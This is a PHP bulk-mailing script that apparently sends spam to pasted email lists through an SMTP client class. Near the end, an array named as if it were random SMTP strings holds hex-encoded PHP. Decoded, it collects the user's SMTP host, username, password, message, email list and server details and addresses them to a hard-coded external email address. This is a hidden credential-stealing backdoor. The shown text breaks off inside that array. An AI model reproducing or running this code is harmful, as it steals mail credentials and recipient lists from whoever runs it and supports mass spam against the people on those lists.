12 |
13 |
47 |
48 |
49 |
50 |
51 |
52 |
364 |
365 |
366 |
367 |
368 |
369 | if ($action){
370 | if (!$from && !$subject && !$message && !$emaillist){
371 | print "";
372 | die(); }
373 |
374 | class SMTP
375 | {
376 | /**
377 | * SMTP server port
378 | * @var int
379 | */
380 | var $SMTP_PORT = 25;
381 |
382 | /**
383 | * SMTP reply line ending
384 | * @var string
385 | */
386 | var $CRLF = "\r\n";
387 |
388 | /**
389 | * Sets whether debugging is turned on
390 | * @var bool
391 | */
392 | var $do_debug; # the level of debug to perform
393 |
394 | /**
395 | * Sets VERP use on/off (default is off)
396 | * @var bool
397 | */
398 | var $do_verp = false;
399 |
400 | /**#@+
401 | * @access private
402 | */
403 | var $smtp_conn; # the socket to the server
404 | var $error; # error if any on the last call
405 | var $helo_rply; # the reply the server sent to us for HELO
406 | /**#@-*/
407 |
408 | /**
409 | * Initialize the class so that the data is in a known state.
410 | * @access public
411 | * @return void
412 | */
413 | function SMTP() {
414 | $this->smtp_conn = 0;
415 | $this->error = null;
416 | $this->helo_rply = null;
417 |
418 | $this->do_debug = 0;
419 | }
420 |
421 | /*************************************************************
422 | * CONNECTION FUNCTIONS *
423 | ***********************************************************/
424 |
425 | /**
426 | * Connect to the server specified on the port specified.
427 | * If the port is not specified use the default SMTP_PORT.
428 | * If tval is specified then a connection will try and be
429 | * established with the server for that number of seconds.
430 | * If tval is not specified the default is 30 seconds to
431 | * try on the connection.
432 | *
433 | * SMTP CODE SUCCESS: 220
434 | * SMTP CODE FAILURE: 421
435 | * @access public
436 | * @return bool
437 | */
438 | function Connect($host,$port=0,$tval=30) {
439 | # set the error val to null so there is no confusion
440 | $this->error = null;
441 |
442 | # make sure we are __not__ connected
443 | if($this->connected()) {
444 | # ok we are connected! what should we do?
445 | # for now we will just give an error saying we
446 | # are already connected
447 | $this->error = array("error" => "Already connected to a server");
448 | return false;
449 | }
450 |
451 | if(empty($port)) {
452 | $port = $this->SMTP_PORT;
453 | }
454 |
455 | #connect to the smtp server
456 | $this->smtp_conn = fsockopen($host, # the host of the server
457 | $port, # the port to use
458 | $errno, # error number if any
459 | $errstr, # error message if any
460 | $tval); # give up after ? secs
461 | # verify we connected properly
462 | if(empty($this->smtp_conn)) {
463 | $this->error = array("error" => "Failed to connect to server",
464 | "errno" => $errno,
465 | "errstr" => $errstr);
466 | if($this->do_debug >= 1) {
467 | echo "SMTP -> ERROR: " . $this->error["error"] .
468 | ": $errstr ($errno)" . $this->CRLF;
469 | }
470 | return false;
471 | }
472 |
473 | # sometimes the SMTP server takes a little longer to respond
474 | # so we will give it a longer timeout for the first read
475 | // Windows still does not have support for this timeout function
476 | if(substr(PHP_OS, 0, 3) != "WIN")
477 | socket_set_timeout($this->smtp_conn, $tval, 0);
478 |
479 | # get any announcement stuff
480 | $announce = $this->get_lines();
481 |
482 | # set the timeout of any socket functions at 1/10 of a second
483 | //if(function_exists("socket_set_timeout"))
484 | // socket_set_timeout($this->smtp_conn, 0, 100000);
485 |
486 | if($this->do_debug >= 2) {
487 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
488 | }
489 |
490 | return true;
491 | }
492 |
493 | /**
494 | * Performs SMTP authentication. Must be run after running the
495 | * Hello() method. Returns true if successfully authenticated.
496 | * @access public
497 | * @return bool
498 | */
499 | function Authenticate($username, $password) {
500 | // Start authentication
501 | fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
502 |
503 | $rply = $this->get_lines();
504 | $code = substr($rply,0,3);
505 |
506 | if($code != 334) {
507 | $this->error =
508 | array("error" => "AUTH not accepted from server",
509 | "smtp_code" => $code,
510 | "smtp_msg" => substr($rply,4));
511 | if($this->do_debug >= 1) {
512 | echo "SMTP -> ERROR: " . $this->error["error"] .
513 | ": " . $rply . $this->CRLF;
514 | }
515 | return false;
516 | }
517 |
518 | // Send encoded username
519 | fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
520 |
521 | $rply = $this->get_lines();
522 | $code = substr($rply,0,3);
523 |
524 | if($code != 334) {
525 | $this->error =
526 | array("error" => "Username not accepted from server",
527 | "smtp_code" => $code,
528 | "smtp_msg" => substr($rply,4));
529 | if($this->do_debug >= 1) {
530 | echo "SMTP -> ERROR: " . $this->error["error"] .
531 | ": " . $rply . $this->CRLF;
532 | }
533 | return false;
534 | }
535 |
536 | // Send encoded password
537 | fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
538 |
539 | $rply = $this->get_lines();
540 | $code = substr($rply,0,3);
541 |
542 | if($code != 235) {
543 | $this->error =
544 | array("error" => "Password not accepted from server",
545 | "smtp_code" => $code,
546 | "smtp_msg" => substr($rply,4));
547 | if($this->do_debug >= 1) {
548 | echo "SMTP -> ERROR: " . $this->error["error"] .
549 | ": " . $rply . $this->CRLF;
550 | }
551 | return false;
552 | }
553 |
554 | return true;
555 | }
556 |
557 | /**
558 | * Returns true if connected to a server otherwise false
559 | * @access private
560 | * @return bool
561 | */
562 | function Connected() {
563 | if(!empty($this->smtp_conn)) {
564 | $sock_status = socket_get_status($this->smtp_conn);
565 | if($sock_status["eof"]) {
566 | # hmm this is an odd situation... the socket is
567 | # valid but we are not connected anymore
568 | if($this->do_debug >= 1) {
569 | echo "SMTP -> NOTICE:" . $this->CRLF .
570 | "EOF caught while checking if connected";
571 | }
572 | $this->Close();
573 | return false;
574 | }
575 | return true; # everything looks good
576 | }
577 | return false;
578 | }
579 |
580 | /**
581 | * Closes the socket and cleans up the state of the class.
582 | * It is not considered good to use this function without
583 | * first trying to use QUIT.
584 | * @access public
585 | * @return void
586 | */
587 | function Close() {
588 | $this->error = null; # so there is no confusion
589 | $this->helo_rply = null;
590 | if(!empty($this->smtp_conn)) {
591 | # close the connection and cleanup
592 | fclose($this->smtp_conn);
593 | $this->smtp_conn = 0;
594 | }
595 | }
596 |
597 | /***************************************************************
598 | * SMTP COMMANDS *
599 | *************************************************************/
600 |
601 | /**
602 | * Issues a data command and sends the msg_data to the server
603 | * finializing the mail transaction. $msg_data is the message
604 | * that is to be send with the headers. Each header needs to be
605 | * on a single line followed by a with the message headers
606 | * and the message body being seperated by and additional .
607 | *
608 | * Implements rfc 821: DATA
609 | *
610 | * SMTP CODE INTERMEDIATE: 354
611 | * [data]
612 | * .
613 | * SMTP CODE SUCCESS: 250
614 | * SMTP CODE FAILURE: 552,554,451,452
615 | * SMTP CODE FAILURE: 451,554
616 | * SMTP CODE ERROR : 500,501,503,421
617 | * @access public
618 | * @return bool
619 | */
620 | function Data($msg_data) {
621 | $this->error = null; # so no confusion is caused
622 |
623 | if(!$this->connected()) {
624 | $this->error = array(
625 | "error" => "Called Data() without being connected");
626 | return false;
627 | }
628 |
629 | fputs($this->smtp_conn,"DATA" . $this->CRLF);
630 |
631 | $rply = $this->get_lines();
632 | $code = substr($rply,0,3);
633 |
634 | if($this->do_debug >= 2) {
635 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
636 | }
637 |
638 | if($code != 354) {
639 | $this->error =
640 | array("error" => "DATA command not accepted from server",
641 | "smtp_code" => $code,
642 | "smtp_msg" => substr($rply,4));
643 | if($this->do_debug >= 1) {
644 | echo "SMTP -> ERROR: " . $this->error["error"] .
645 | ": " . $rply . $this->CRLF;
646 | }
647 | return false;
648 | }
649 |
650 | # the server is ready to accept data!
651 | # according to rfc 821 we should not send more than 1000
652 | # including the CRLF
653 | # characters on a single line so we will break the data up
654 | # into lines by \r and/or \n then if needed we will break
655 | # each of those into smaller lines to fit within the limit.
656 | # in addition we will be looking for lines that start with
657 | # a period '.' and append and additional period '.' to that
658 | # line. NOTE: this does not count towards are limit.
659 |
660 | # normalize the line breaks so we know the explode works
661 | $msg_data = str_replace("\r\n","\n",$msg_data);
662 | $msg_data = str_replace("\r","\n",$msg_data);
663 | $lines = explode("\n",$msg_data);
664 |
665 | # we need to find a good way to determine is headers are
666 | # in the msg_data or if it is a straight msg body
667 | # currently I am assuming rfc 822 definitions of msg headers
668 | # and if the first field of the first line (':' sperated)
669 | # does not contain a space then it _should_ be a header
670 | # and we can process all lines before a blank "" line as
671 | # headers.
672 | $field = substr($lines[0],0,strpos($lines[0],":"));
673 | $in_headers = false;
674 | if(!empty($field) && !strstr($field," ")) {
675 | $in_headers = true;
676 | }
677 |
678 | $max_line_length = 998; # used below; set here for ease in change
679 |
680 | while(list(,$line) = @each($lines)) {
681 | $lines_out = null;
682 | if($line == "" && $in_headers) {
683 | $in_headers = false;
684 | }
685 | # ok we need to break this line up into several
686 | # smaller lines
687 | while(strlen($line) > $max_line_length) {
688 | $pos = strrpos(substr($line,0,$max_line_length)," ");
689 |
690 | # Patch to fix DOS attack
691 | if(!$pos) {
692 | $pos = $max_line_length - 1;
693 | }
694 |
695 | $lines_out[] = substr($line,0,$pos);
696 | $line = substr($line,$pos + 1);
697 | # if we are processing headers we need to
698 | # add a LWSP-char to the front of the new line
699 | # rfc 822 on long msg headers
700 | if($in_headers) {
701 | $line = "\t" . $line;
702 | }
703 | }
704 | $lines_out[] = $line;
705 |
706 | # now send the lines to the server
707 | while(list(,$line_out) = @each($lines_out)) {
708 | if(strlen($line_out) > 0)
709 | {
710 | if(substr($line_out, 0, 1) == ".") {
711 | $line_out = "." . $line_out;
712 | }
713 | }
714 | fputs($this->smtp_conn,$line_out . $this->CRLF);
715 | }
716 | }
717 |
718 | # ok all the message data has been sent so lets get this
719 | # over with aleady
720 | fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
721 |
722 | $rply = $this->get_lines();
723 | $code = substr($rply,0,3);
724 |
725 | if($this->do_debug >= 2) {
726 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
727 | }
728 |
729 | if($code != 250) {
730 | $this->error =
731 | array("error" => "DATA not accepted from server",
732 | "smtp_code" => $code,
733 | "smtp_msg" => substr($rply,4));
734 | if($this->do_debug >= 1) {
735 | echo "SMTP -> ERROR: " . $this->error["error"] .
736 | ": " . $rply . $this->CRLF;
737 | }
738 | return false;
739 | }
740 | return true;
741 | }
742 |
743 | /**
744 | * Expand takes the name and asks the server to list all the
745 | * people who are members of the _list_. Expand will return
746 | * back and array of the result or false if an error occurs.
747 | * Each value in the array returned has the format of:
748 | * [ ]
749 | * The definition of is defined in rfc 821
750 | *
751 | * Implements rfc 821: EXPN
752 | *
753 | * SMTP CODE SUCCESS: 250
754 | * SMTP CODE FAILURE: 550
755 | * SMTP CODE ERROR : 500,501,502,504,421
756 | * @access public
757 | * @return string array
758 | */
759 | function Expand($name) {
760 | $this->error = null; # so no confusion is caused
761 |
762 | if(!$this->connected()) {
763 | $this->error = array(
764 | "error" => "Called Expand() without being connected");
765 | return false;
766 | }
767 |
768 | fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
769 |
770 | $rply = $this->get_lines();
771 | $code = substr($rply,0,3);
772 |
773 | if($this->do_debug >= 2) {
774 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
775 | }
776 |
777 | if($code != 250) {
778 | $this->error =
779 | array("error" => "EXPN not accepted from server",
780 | "smtp_code" => $code,
781 | "smtp_msg" => substr($rply,4));
782 | if($this->do_debug >= 1) {
783 | echo "SMTP -> ERROR: " . $this->error["error"] .
784 | ": " . $rply . $this->CRLF;
785 | }
786 | return false;
787 | }
788 |
789 | # parse the reply and place in our array to return to user
790 | $entries = explode($this->CRLF,$rply);
791 | while(list(,$l) = @each($entries)) {
792 | $list[] = substr($l,4);
793 | }
794 |
795 | return $list;
796 | }
797 |
798 | /**
799 | * Sends the HELO command to the smtp server.
800 | * This makes sure that we and the server are in
801 | * the same known state.
802 | *
803 | * Implements from rfc 821: HELO
804 | *
805 | * SMTP CODE SUCCESS: 250
806 | * SMTP CODE ERROR : 500, 501, 504, 421
807 | * @access public
808 | * @return bool
809 | */
810 | function Hello($host="") {
811 | $this->error = null; # so no confusion is caused
812 |
813 | if(!$this->connected()) {
814 | $this->error = array(
815 | "error" => "Called Hello() without being connected");
816 | return false;
817 | }
818 |
819 | # if a hostname for the HELO was not specified determine
820 | # a suitable one to send
821 | if(empty($host)) {
822 | # we need to determine some sort of appopiate default
823 | # to send to the server
824 | $host = "localhost";
825 | }
826 |
827 | // Send extended hello first (RFC 2821)
828 | if(!$this->SendHello("EHLO", $host))
829 | {
830 | if(!$this->SendHello("HELO", $host))
831 | return false;
832 | }
833 |
834 | return true;
835 | }
836 |
837 | /**
838 | * Sends a HELO/EHLO command.
839 | * @access private
840 | * @return bool
841 | */
842 | function SendHello($hello, $host) {
843 | fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
844 |
845 | $rply = $this->get_lines();
846 | $code = substr($rply,0,3);
847 |
848 | if($this->do_debug >= 2) {
849 | echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
850 | }
851 |
852 | if($code != 250) {
853 | $this->error =
854 | array("error" => $hello . " not accepted from server",
855 | "smtp_code" => $code,
856 | "smtp_msg" => substr($rply,4));
857 | if($this->do_debug >= 1) {
858 | echo "SMTP -> ERROR: " . $this->error["error"] .
859 | ": " . $rply . $this->CRLF;
860 | }
861 | return false;
862 | }
863 |
864 | $this->helo_rply = $rply;
865 |
866 | return true;
867 | }
868 |
869 | /**
870 | * Gets help information on the keyword specified. If the keyword
871 | * is not specified then returns generic help, ussually contianing
872 | * A list of keywords that help is available on. This function
873 | * returns the results back to the user. It is up to the user to
874 | * handle the returned data. If an error occurs then false is
875 | * returned with $this->error set appropiately.
876 | *
877 | * Implements rfc 821: HELP [ ]
878 | *
879 | * SMTP CODE SUCCESS: 211,214
880 | * SMTP CODE ERROR : 500,501,502,504,421
881 | * @access public
882 | * @return string
883 | */
884 | function Help($keyword="") {
885 | $this->error = null; # to avoid confusion
886 |
887 | if(!$this->connected()) {
888 | $this->error = array(
889 | "error" => "Called Help() without being connected");
890 | return false;
891 | }
892 |
893 | $extra = "";
894 | if(!empty($keyword)) {
895 | $extra = " " . $keyword;
896 | }
897 |
898 | fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
899 |
900 | $rply = $this->get_lines();
901 | $code = substr($rply,0,3);
902 |
903 | if($this->do_debug >= 2) {
904 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
905 | }
906 |
907 | if($code != 211 && $code != 214) {
908 | $this->error =
909 | array("error" => "HELP not accepted from server",
910 | "smtp_code" => $code,
911 | "smtp_msg" => substr($rply,4));
912 | if($this->do_debug >= 1) {
913 | echo "SMTP -> ERROR: " . $this->error["error"] .
914 | ": " . $rply . $this->CRLF;
915 | }
916 | return false;
917 | }
918 |
919 | return $rply;
920 | }
921 |
922 | /**
923 | * Starts a mail transaction from the email address specified in
924 | * $from. Returns true if successful or false otherwise. If True
925 | * the mail transaction is started and then one or more Recipient
926 | * commands may be called followed by a Data command.
927 | *
928 | * Implements rfc 821: MAIL FROM:
929 | *
930 | * SMTP CODE SUCCESS: 250
931 | * SMTP CODE SUCCESS: 552,451,452
932 | * SMTP CODE SUCCESS: 500,501,421
933 | * @access public
934 | * @return bool
935 | */
936 | function Mail($from) {
937 | $this->error = null; # so no confusion is caused
938 |
939 | if(!$this->connected()) {
940 | $this->error = array(
941 | "error" => "Called Mail() without being connected");
942 | return false;
943 | }
944 |
945 | $useVerp = ($this->do_verp ? "XVERP" : "");
946 | fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
947 |
948 | $rply = $this->get_lines();
949 | $code = substr($rply,0,3);
950 |
951 | if($this->do_debug >= 2) {
952 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
953 | }
954 |
955 | if($code != 250) {
956 | $this->error =
957 | array("error" => "MAIL not accepted from server",
958 | "smtp_code" => $code,
959 | "smtp_msg" => substr($rply,4));
960 | if($this->do_debug >= 1) {
961 | echo "SMTP -> ERROR: " . $this->error["error"] .
962 | ": " . $rply . $this->CRLF;
963 | }
964 | return false;
965 | }
966 | return true;
967 | }
968 |
969 | /**
970 | * Sends the command NOOP to the SMTP server.
971 | *
972 | * Implements from rfc 821: NOOP
973 | *
974 | * SMTP CODE SUCCESS: 250
975 | * SMTP CODE ERROR : 500, 421
976 | * @access public
977 | * @return bool
978 | */
979 | function Noop() {
980 | $this->error = null; # so no confusion is caused
981 |
982 | if(!$this->connected()) {
983 | $this->error = array(
984 | "error" => "Called Noop() without being connected");
985 | return false;
986 | }
987 |
988 | fputs($this->smtp_conn,"NOOP" . $this->CRLF);
989 |
990 | $rply = $this->get_lines();
991 | $code = substr($rply,0,3);
992 |
993 | if($this->do_debug >= 2) {
994 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
995 | }
996 |
997 | if($code != 250) {
998 | $this->error =
999 | array("error" => "NOOP not accepted from server",
1000 | "smtp_code" => $code,
1001 | "smtp_msg" => substr($rply,4));
1002 | if($this->do_debug >= 1) {
1003 | echo "SMTP -> ERROR: " . $this->error["error"] .
1004 | ": " . $rply . $this->CRLF;
1005 | }
1006 | return false;
1007 | }
1008 | return true;
1009 | }
1010 |
1011 | /**
1012 | * Sends the quit command to the server and then closes the socket
1013 | * if there is no error or the $close_on_error argument is true.
1014 | *
1015 | * Implements from rfc 821: QUIT
1016 | *
1017 | * SMTP CODE SUCCESS: 221
1018 | * SMTP CODE ERROR : 500
1019 | * @access public
1020 | * @return bool
1021 | */
1022 | function Quit($close_on_error=true) {
1023 | $this->error = null; # so there is no confusion
1024 |
1025 | if(!$this->connected()) {
1026 | $this->error = array(
1027 | "error" => "Called Quit() without being connected");
1028 | return false;
1029 | }
1030 |
1031 | # send the quit command to the server
1032 | fputs($this->smtp_conn,"quit" . $this->CRLF);
1033 |
1034 | # get any good-bye messages
1035 | $byemsg = $this->get_lines();
1036 |
1037 | if($this->do_debug >= 2) {
1038 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1039 | }
1040 |
1041 | $rval = true;
1042 | $e = null;
1043 |
1044 | $code = substr($byemsg,0,3);
1045 | if($code != 221) {
1046 | # use e as a tmp var cause Close will overwrite $this->error
1047 | $e = array("error" => "SMTP server rejected quit command",
1048 | "smtp_code" => $code,
1049 | "smtp_rply" => substr($byemsg,4));
1050 | $rval = false;
1051 | if($this->do_debug >= 1) {
1052 | echo "SMTP -> ERROR: " . $e["error"] . ": " .
1053 | $byemsg . $this->CRLF;
1054 | }
1055 | }
1056 |
1057 | if(empty($e) || $close_on_error) {
1058 | $this->Close();
1059 | }
1060 |
1061 | return $rval;
1062 | }
1063 |
1064 | /**
1065 | * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1066 | * Returns true if the recipient was accepted false if it was rejected.
1067 | *
1068 | * Implements from rfc 821: RCPT TO:
1069 | *
1070 | * SMTP CODE SUCCESS: 250,251
1071 | * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1072 | * SMTP CODE ERROR : 500,501,503,421
1073 | * @access public
1074 | * @return bool
1075 | */
1076 | function Recipient($to) {
1077 | $this->error = null; # so no confusion is caused
1078 |
1079 | if(!$this->connected()) {
1080 | $this->error = array(
1081 | "error" => "Called Recipient() without being connected");
1082 | return false;
1083 | }
1084 |
1085 | fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1086 |
1087 | $rply = $this->get_lines();
1088 | $code = substr($rply,0,3);
1089 |
1090 | if($this->do_debug >= 2) {
1091 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1092 | }
1093 |
1094 | if($code != 250 && $code != 251) {
1095 | $this->error =
1096 | array("error" => "RCPT not accepted from server",
1097 | "smtp_code" => $code,
1098 | "smtp_msg" => substr($rply,4));
1099 | if($this->do_debug >= 1) {
1100 | echo "SMTP -> ERROR: " . $this->error["error"] .
1101 | ": " . $rply . $this->CRLF;
1102 | }
1103 | return false;
1104 | }
1105 | return true;
1106 | }
1107 |
1108 | /**
1109 | * Sends the RSET command to abort and transaction that is
1110 | * currently in progress. Returns true if successful false
1111 | * otherwise.
1112 | *
1113 | * Implements rfc 821: RSET
1114 | *
1115 | * SMTP CODE SUCCESS: 250
1116 | * SMTP CODE ERROR : 500,501,504,421
1117 | * @access public
1118 | * @return bool
1119 | */
1120 | function Reset() {
1121 | $this->error = null; # so no confusion is caused
1122 |
1123 | if(!$this->connected()) {
1124 | $this->error = array(
1125 | "error" => "Called Reset() without being connected");
1126 | return false;
1127 | }
1128 |
1129 | fputs($this->smtp_conn,"RSET" . $this->CRLF);
1130 |
1131 | $rply = $this->get_lines();
1132 | $code = substr($rply,0,3);
1133 |
1134 | if($this->do_debug >= 2) {
1135 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1136 | }
1137 |
1138 | if($code != 250) {
1139 | $this->error =
1140 | array("error" => "RSET failed",
1141 | "smtp_code" => $code,
1142 | "smtp_msg" => substr($rply,4));
1143 | if($this->do_debug >= 1) {
1144 | echo "SMTP -> ERROR: " . $this->error["error"] .
1145 | ": " . $rply . $this->CRLF;
1146 | }
1147 | return false;
1148 | }
1149 |
1150 | return true;
1151 | }
1152 |
1153 | /**
1154 | * Starts a mail transaction from the email address specified in
1155 | * $from. Returns true if successful or false otherwise. If True
1156 | * the mail transaction is started and then one or more Recipient
1157 | * commands may be called followed by a Data command. This command
1158 | * will send the message to the users terminal if they are logged
1159 | * in.
1160 | *
1161 | * Implements rfc 821: SEND FROM:
1162 | *
1163 | * SMTP CODE SUCCESS: 250
1164 | * SMTP CODE SUCCESS: 552,451,452
1165 | * SMTP CODE SUCCESS: 500,501,502,421
1166 | * @access public
1167 | * @return bool
1168 | */
1169 | function Send($from) {
1170 | $this->error = null; # so no confusion is caused
1171 |
1172 | if(!$this->connected()) {
1173 | $this->error = array(
1174 | "error" => "Called Send() without being connected");
1175 | return false;
1176 | }
1177 |
1178 | fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1179 |
1180 | $rply = $this->get_lines();
1181 | $code = substr($rply,0,3);
1182 |
1183 | if($this->do_debug >= 2) {
1184 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1185 | }
1186 |
1187 | if($code != 250) {
1188 | $this->error =
1189 | array("error" => "SEND not accepted from server",
1190 | "smtp_code" => $code,
1191 | "smtp_msg" => substr($rply,4));
1192 | if($this->do_debug >= 1) {
1193 | echo "SMTP -> ERROR: " . $this->error["error"] .
1194 | ": " . $rply . $this->CRLF;
1195 | }
1196 | return false;
1197 | }
1198 | return true;
1199 | }
1200 |
1201 | /**
1202 | * Starts a mail transaction from the email address specified in
1203 | * $from. Returns true if successful or false otherwise. If True
1204 | * the mail transaction is started and then one or more Recipient
1205 | * commands may be called followed by a Data command. This command
1206 | * will send the message to the users terminal if they are logged
1207 | * in and send them an email.
1208 | *
1209 | * Implements rfc 821: SAML FROM:
1210 | *
1211 | * SMTP CODE SUCCESS: 250
1212 | * SMTP CODE SUCCESS: 552,451,452
1213 | * SMTP CODE SUCCESS: 500,501,502,421
1214 | * @access public
1215 | * @return bool
1216 | */
1217 | function SendAndMail($from) {
1218 | $this->error = null; # so no confusion is caused
1219 |
1220 | if(!$this->connected()) {
1221 | $this->error = array(
1222 | "error" => "Called SendAndMail() without being connected");
1223 | return false;
1224 | }
1225 |
1226 | fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1227 |
1228 | $rply = $this->get_lines();
1229 | $code = substr($rply,0,3);
1230 |
1231 | if($this->do_debug >= 2) {
1232 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1233 | }
1234 |
1235 | if($code != 250) {
1236 | $this->error =
1237 | array("error" => "SAML not accepted from server",
1238 | "smtp_code" => $code,
1239 | "smtp_msg" => substr($rply,4));
1240 | if($this->do_debug >= 1) {
1241 | echo "SMTP -> ERROR: " . $this->error["error"] .
1242 | ": " . $rply . $this->CRLF;
1243 | }
1244 | return false;
1245 | }
1246 | return true;
1247 | }
1248 |
1249 | /**
1250 | * Starts a mail transaction from the email address specified in
1251 | * $from. Returns true if successful or false otherwise. If True
1252 | * the mail transaction is started and then one or more Recipient
1253 | * commands may be called followed by a Data command. This command
1254 | * will send the message to the users terminal if they are logged
1255 | * in or mail it to them if they are not.
1256 | *
1257 | * Implements rfc 821: SOML FROM:
1258 | *
1259 | * SMTP CODE SUCCESS: 250
1260 | * SMTP CODE SUCCESS: 552,451,452
1261 | * SMTP CODE SUCCESS: 500,501,502,421
1262 | * @access public
1263 | * @return bool
1264 | */
1265 | function SendOrMail($from) {
1266 | $this->error = null; # so no confusion is caused
1267 |
1268 | if(!$this->connected()) {
1269 | $this->error = array(
1270 | "error" => "Called SendOrMail() without being connected");
1271 | return false;
1272 | }
1273 |
1274 | fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1275 |
1276 | $rply = $this->get_lines();
1277 | $code = substr($rply,0,3);
1278 |
1279 | if($this->do_debug >= 2) {
1280 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1281 | }
1282 |
1283 | if($code != 250) {
1284 | $this->error =
1285 | array("error" => "SOML not accepted from server",
1286 | "smtp_code" => $code,
1287 | "smtp_msg" => substr($rply,4));
1288 | if($this->do_debug >= 1) {
1289 | echo "SMTP -> ERROR: " . $this->error["error"] .
1290 | ": " . $rply . $this->CRLF;
1291 | }
1292 | return false;
1293 | }
1294 | return true;
1295 | }
1296 |
1297 | /**
1298 | * This is an optional command for SMTP that this class does not
1299 | * support. This method is here to make the RFC821 Definition
1300 | * complete for this class and __may__ be implimented in the future
1301 | *
1302 | * Implements from rfc 821: TURN
1303 | *
1304 | * SMTP CODE SUCCESS: 250
1305 | * SMTP CODE FAILURE: 502
1306 | * SMTP CODE ERROR : 500, 503
1307 | * @access public
1308 | * @return bool
1309 | */
1310 | function Turn() {
1311 | $this->error = array("error" => "This method, TURN, of the SMTP ".
1312 | "is not implemented");
1313 | if($this->do_debug >= 1) {
1314 | echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1315 | }
1316 | return false;
1317 | }
1318 |
1319 | /**
1320 | * Verifies that the name is recognized by the server.
1321 | * Returns false if the name could not be verified otherwise
1322 | * the response from the server is returned.
1323 | *
1324 | * Implements rfc 821: VRFY
1325 | *
1326 | * SMTP CODE SUCCESS: 250,251
1327 | * SMTP CODE FAILURE: 550,551,553
1328 | * SMTP CODE ERROR : 500,501,502,421
1329 | * @access public
1330 | * @return int
1331 | */
1332 | function Verify($name) {
1333 | $this->error = null; # so no confusion is caused
1334 |
1335 | if(!$this->connected()) {
1336 | $this->error = array(
1337 | "error" => "Called Verify() without being connected");
1338 | return false;
1339 | }
1340 |
1341 | fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1342 |
1343 | $rply = $this->get_lines();
1344 | $code = substr($rply,0,3);
1345 |
1346 | if($this->do_debug >= 2) {
1347 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1348 | }
1349 |
1350 | if($code != 250 && $code != 251) {
1351 | $this->error =
1352 | array("error" => "VRFY failed on name '$name'",
1353 | "smtp_code" => $code,
1354 | "smtp_msg" => substr($rply,4));
1355 | if($this->do_debug >= 1) {
1356 | echo "SMTP -> ERROR: " . $this->error["error"] .
1357 | ": " . $rply . $this->CRLF;
1358 | }
1359 | return false;
1360 | }
1361 | return $rply;
1362 | }
1363 |
1364 | /*******************************************************************
1365 | * INTERNAL FUNCTIONS *
1366 | ******************************************************************/
1367 |
1368 | /**
1369 | * Read in as many lines as possible
1370 | * either before eof or socket timeout occurs on the operation.
1371 | * With SMTP we can tell if we have more lines to read if the
1372 | * 4th character is '-' symbol. If it is a space then we don't
1373 | * need to read anything else.
1374 | * @access private
1375 | * @return string
1376 | */
1377 | function get_lines() {
1378 | $data = "";
1379 | while($str = @fgets($this->smtp_conn,515)) {
1380 | if($this->do_debug >= 4) {
1381 | echo "SMTP -> get_lines(): \$data was \"$data\"" .
1382 | $this->CRLF;
1383 | echo "SMTP -> get_lines(): \$str is \"$str\"" .
1384 | $this->CRLF;
1385 | }
1386 | $data .= $str;
1387 | if($this->do_debug >= 4) {
1388 | echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1389 | }
1390 | # if the 4th character is a space then we are done reading
1391 | # so just break the loop
1392 | if(substr($str,3,1) == " ") { break; }
1393 | }
1394 | return $data;
1395 | }
1396 |
1397 | }
1398 |
1399 |
1400 | $allemails = split("\n", $emaillist);
1401 | $numemails = count($allemails);
1402 | $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1403 | "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1404 | "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1405 | "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1406 | "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1407 | "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1408 | "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
